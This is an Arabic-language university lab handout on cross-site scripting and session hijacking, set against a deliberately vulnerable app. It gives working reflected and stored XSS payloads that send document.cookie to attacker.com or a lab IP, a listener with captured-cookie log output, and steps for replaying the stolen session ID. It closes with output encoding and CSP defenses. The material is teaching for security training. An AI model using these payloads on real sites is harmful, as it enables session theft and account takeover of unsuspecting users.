المختبر 6.3: XSS واختطاف الجلسات
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم هجمات البرمجة عبر المواقع (XSS)
- التمييز بين XSS المنعكس، المخزن، والقائم على DOM
- حقن JavaScript ضار في تطبيق ويب
- سرقة ملفات تعريف الارتباط للجلسات
- تنفيذ هجوم اختطاف الجلسات
- تسجيل الدخول كمستخدم آخر دون معرفة كلمة المرور الخاصة به
- اكتشاف الثغرات XSS في الكود
- تنفيذ الحمايات (ترميز المخرجات، CSP)
المدة المقدرة
35 دقيقة
المتطلبات الأساسية
- تطبيق ويب ضعيف (DVWA أو التطبيق المقدم)
- خادم ويب محلي (XAMPP/WAMP)
- متصفح ويب
- فهم أساسي لـ HTML وJavaScript
- إكمال المختبر 6.2 (حقن SQL)
السياق المهني
XSS مصنف ضمن OWASP Top 10. يتيح:
- سرقة ملفات تعريف الارتباط والجلسات
- تشويه المواقع
- إعادة التوجيه إلى مواقع ضارة
- تسجيل المفاتيح على الجانب العميل
- سرقة المعلومات الحساسة
حالات حقيقية:
- تويتر (2010): دودة XSS ذاتية الانتشار
- إيباي (2014): XSS مستمر
- الخطوط الجوية البريطانية (2018): Skimming عبر XSS
تحذير أخلاقي وقانوني
XSS يتيح سرقة جلسات المستخدم وتنفيذ كود ضار في متصفح الضحايا.
مسموح:
- تطبيقات المختبر
- مكافآت الأخطاء المصرح بها
- الاختبارات بإذن
ممنوع:
- المواقع الحقيقية بدون إذن
- سرقة جلسات الآخرين
- تشويه المواقع
الجزء 1: XSS المنعكس
اختبار أساسي
في حقل بحث أو URL:
<script>alert('XSS')</script>
إذا ظهرت نافذة منبثقة: معرضة للخطر!
تفسير: يتم تنفيذ JavaScript في متصفح الضحية.
سرقة ملفات تعريف الارتباط
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
تم إرسال ملف تعريف الارتباط إلى الخادم المهاجم!
الجزء 2: XSS المخزن (أكثر خطورة)
الحقن في التعليقات
في حقل تعليق:
<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>
محفوظ في قاعدة البيانات!
كل زائر يرى التعليق:
- يتم تنفيذ JavaScript
- يتم سرقة ملف تعريف الارتباط تلقائيًا
- الجلسة معرضة للخطر
الجزء 3: اختطاف الجلسات
الخطوة 1: سرقة ملف تعريف الارتباط
حمولة XSS:
<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
على جهاز المهاجم، استمع:
python3 -m http.server 8000
عندما يزور الضحية الصفحة:
192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -
تم التقاط ملف تعريف الارتباط: PHPSESSID=abc123xyz456
الخطوة 2: استخدام ملف تعريف الارتباط المسروق
باستخدام إضافة "EditThisCookie" أو وحدة التحكم للمطورين:
document.cookie = "PHPSESSID=abc123xyz456";
location.reload();
قم بتحديث الصفحة:
بوم! تم تسجيل الدخول كضحية بدون كلمة مرور!
الجزء 4: الحماية
كود معرض للخطر
echo "Bonjour " . $_GET['name'];
كود آمن
echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
htmlspecialchars: يحول < إلى <، يمنع التنفيذ!
سياسة أمان المحتوى (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
يمنع كل JavaScript المضمن!
التسليمات
- تقرير مع لقطات شاشة XSS وظيفي
- ملف تعريف الارتباط المسروق واختطاف الجلسة الناجح
- كود معرض للخطر مقابل آمن
- توصيات الحماية
مختبر تم تطويره في إطار دورة نظم التشغيل - الوحدة 6